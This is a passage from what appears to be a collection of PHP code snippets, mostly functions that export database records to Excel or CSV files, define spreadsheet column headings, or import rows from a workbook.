$data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "abstract protected function excel ();", "abstract function getheadings();", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function run()\n {\n\t\t$objPHPExcel = PHPExcel_IOFactory::load('public/excel-imports/designations.xlsx');\n\t\t$sheet = $objPHPExcel->getSheet(0);\n\t\t$highestRow = $sheet->getHighestDataRow();\n\t\t$highestColumn = $sheet->getHighestDataColumn();\n\t\t$header = $sheet->rangeToArray('A1:' . $highestColumn . '1', null, true, false);\n\t\t$header = $header[0];\n\t\tforeach ($header as $key => $column) {\n\t\t\tif ($column == null) {\n\t\t\t\tunset($header[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$designation = $sheet->rangeToArray('A2:' . $highestColumn . $highestRow, null, true, false);\n\t\tif (!empty($designation)) {\n\t\t\tforeach ($designation as $key => $designationValue) {\n\t\t\t\t$val = [];\n\t\t\t\tforeach ($header as $headerKey => $column) {\n\t\t\t\t\tif (!$column) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$header_col = str_replace(' ', '_', strtolower($column));\n\t\t\t\t\t\t$val[$header_col] = $designationValue[$headerKey];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$val = (object) $val;\n\t\t\t\ttry {\n\t\t\t\t\tif (empty($val->company)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}if (empty($val->name)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (empty($val->grade)) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade name is required');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$validator = Validator::make((array) $val, [\n\t\t\t\t\t\t'name' => [\n\t\t\t\t\t\t\t'string',\n\t\t\t\t\t\t\t'max:255',\n\t\t\t\t\t\t],\n\t\t\t\t\t]);\n\t\t\t\t\tif ($validator->fails()) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' ' . implode('', $validator->errors()->all()));\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tdump($val->company, $val->name, $val->grade);\n\n\t\t\t\t\t$company = Company::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('id', $val->company)\n\t\t\t\t\t\t->first();\n\t\t\t\t\tif (!$company) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Company not found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$grade = Entity::select(\n\t\t\t\t\t\t'id',\n\t\t\t\t\t\t'name'\n\t\t\t\t\t)\n\t\t\t\t\t\t->where('name', $val->grade)\n\t\t\t\t\t\t->first();\n\n\t\t\t\t\tif (!$grade) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Grade Not Found');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$existing_designation = Designation::where('company_id',$company->id)\n\t\t\t\t\t->where('name',$val->name)\n\t\t\t\t\t->where('grade_id',$grade->id)->first();\n\t\t\t\t\t\n\t\t\t\t\tif ($existing_designation) {\n\t\t\t\t\t\tdump('Record No: ' . ($key + 1) . ' - Designation Already Exist');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$designation = new Designation;\n\t\t\t\t\t$designation->company_id = $company->id;\n\t\t\t\t\t$designation->name = $val->name;\n\t\t\t\t\t$designation->grade_id = $grade->id;\n\t\t\t\t\t$designation->created_by = 1;\n\t\t\t\t\t$designation->save();\n\t\t\t\t\tdump(' === updated === ');\n\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\tdump($e);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdd(' == completed ==');\n\t\t}\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "static public function JColumns () {\n $smpls = SampleAnnotation::all();\n $samples = $smpls->toArray();\n #$samples = DB::select('select a.biomaterial_id, a.biomaterial_name, a.person from sample_annotation a join sample_annotation_biomaterial b on a.biomaterial_id=b.biomaterial_id');\n\n #===generate the data in format for column names \n $jcolnames ='[';\n foreach($samples[0] as $key=>$value) {\n if($key=='biomaterial_id') {\n $biomaterial_id = $key;\n }\n elseif($key!='subject_id' and $key!='person_id' and $key!='type_sequencing' and $key!='type_seq' and $key!='run_name' and $key!='file_name'){\n if($key==\"diagnosis\") { \n $key=$key.\"(tree)\";\n }\n $jcolnames .= '{\"title\":\"'.$key.'\"},';\n }\n }\n $jcolnames .=']';\n return $jcolnames;\n }", "public function start_sheet($columns) {\n echo \"<table border=1 cellspacing=0 cellpadding=3>\";\n echo \\html_writer::start_tag('tr');\n foreach ($columns as $k => $v) {\n echo \\html_writer::tag('th', $v);\n }\n echo \\html_writer::end_tag('tr');\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "public function CreateExcelReport(){\n\t\t$objPHPExcel = new PHPExcel();\n\n\t\t$rows = array();\n\t\t$row_count = 2; //counter to loop through the Excel spreadsheet rows\n\n\t\t$objPHPExcel->getProperties()->setCreator(\"dxLink\")\n\t\t\t\t\t\t\t ->setLastModifiedBy(\"dxLink\")\n\t\t\t\t\t\t\t ->setTitle(\"dxLink program evaluation feedback\")\n\t\t\t\t\t\t\t ->setSubject(\"dxLink program evaluation feedback\")\n\t\t\t\t\t\t\t ->setDescription(\"Generates all data from dxLink evaluation program form\")\n\t\t\t\t\t\t\t ->setKeywords(\"dxLink evaluation program form feedback\")\n\t\t\t\t\t\t\t ->setCategory(\"evaluation result file\");\n\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A1', 'First Name')\n\t\t\t\t ->setCellValue('B1', 'Last Name')\n\t\t\t\t ->setCellValue('C1', 'Program')\n\t\t\t\t ->setCellValue('D1', 'Question')\n\t\t\t\t ->setCellValue('E1', 'Answer')\n\t\t\t\t ->setCellValue('F1', 'Comment')\n\t\t\t\t ->setCellValue('G1', 'Date Posted');\n\n \t$sql = \"SELECT doctor_answers.question_id, doctor_answers.doctor_answer, DATE_FORMAT(doctor_answers.date_of_answer,'%Y-%m-%d') AS date_of_answer, doctor_answers.comments, doctors.first_name, doctors.last_name, program_sections.program_id \n\t\tFROM doctor_answers, doctors, program_sections, questions \n\t\tWHERE doctors.doctor_id = doctor_answers.doctor_id AND program_sections.program_section_id = doctor_answers.program_section_id AND program_sections.program_section_type = 'Evaluation form' AND questions.question_id = doctor_answers.question_id\n\t\tORDER BY doctor_answers.date_of_answer DESC\";\n\n $query = $this->con->prepare($sql);\n $query->execute();\n\n while($result_row = $query->fetch(PDO::FETCH_ASSOC) ){\n \t$fisrt_name = $result_row['first_name'];\n \t$last_name = $result_row['last_name'];\n \t$program_id = $result_row['program_id']; \n\t\t\t$question_id = $result_row['question_id']; \n\t\t\t$answer = $result_row['doctor_answer']; \n\t\t\t$date_posted = $result_row['date_of_answer'];\n\t\t\t$comment = $result_row['comments'];\n\t\t\t$program = $this->Get_Program($program_id);\n\t\t\t$question = $this->Get_question($question_id);\n\t\t\tarray_push($rows, array($fisrt_name, $last_name, $program, $question, $answer, $comment, $date_posted));\n }\n \n \n foreach ($rows as $row => $column) {\n\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A' . $row_count, $column[0])\n\t\t\t\t\t\t\t ->setCellValue('B' . $row_count, $column[1])\n\t\t\t\t\t\t\t ->setCellValue('C' . $row_count, $column[2])\n\t\t\t\t\t\t\t ->setCellValue('D' . $row_count, $column[3])\n\t\t\t\t\t\t\t ->setCellValue('E' . $row_count, $column[4])\n\t\t\t\t\t\t\t ->setCellValue('F' . $row_count, $column[5])\n\t\t\t\t\t\t\t ->setCellValue('G' . $row_count, $column[6]);\n\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row_count)->setRowHeight(50); \n\n\t\t $row_count++;\t\t\n\t\t}\t\n\n\t\t//Set widths of all columns\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(25);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(25);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(60);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(60);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(110);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(110);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n\n\t\t//Fill design settings for first heading row\n\t\t$objPHPExcel->getActiveSheet()->getRowDimension(1)->setRowHeight(30);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID)->getStartColor()->setARGB('FF808080');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFont()->getColor()->setARGB(PHPExcel_Style_Color::COLOR_WHITE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getFont()->setSize(16);\n\t\t$objPHPExcel->getActiveSheet()->freezePane('A2');\n\n\t\t//Align all cells\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G' . $row_count)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:G' . $row_count)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\n\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\t\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('../Reports/dxLink_Evaluation_feedback_report.xlsx');\n\t\t\n\t\techo 'exported';\n\t\treturn true;\n\t}", "public function headingRow(): int\n {\n return 1;\n }", "public function getHighScoresRows(){\n $rank = 1;\n $listContent = \"\";\n $highScores = $this->_getHighScores();\n\n foreach ($highScores as $oneScore){\n $listContent .= \"<tr>\n <td>\" . $rank . \"</td>\n <td>\" . htmlentities($oneScore->playerName). \"</td>\n <td>\" . htmlentities($oneScore->completionTime) . \"</td>\n <td>\" . htmlentities($oneScore->difficulty) . \"</td>\n </tr>\";\n\n $rank++;\n }\n\n return $listContent;\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public static function get_question_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('qnumber', 'mod_simplelesson');\n $headerdata[] = get_string('question_name', 'mod_simplelesson');\n $headerdata[] = get_string('question_text', 'mod_simplelesson');\n $headerdata[] = get_string('questionscore', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('setpage', 'mod_simplelesson');\n $headerdata[] = get_string('qlinkheader', 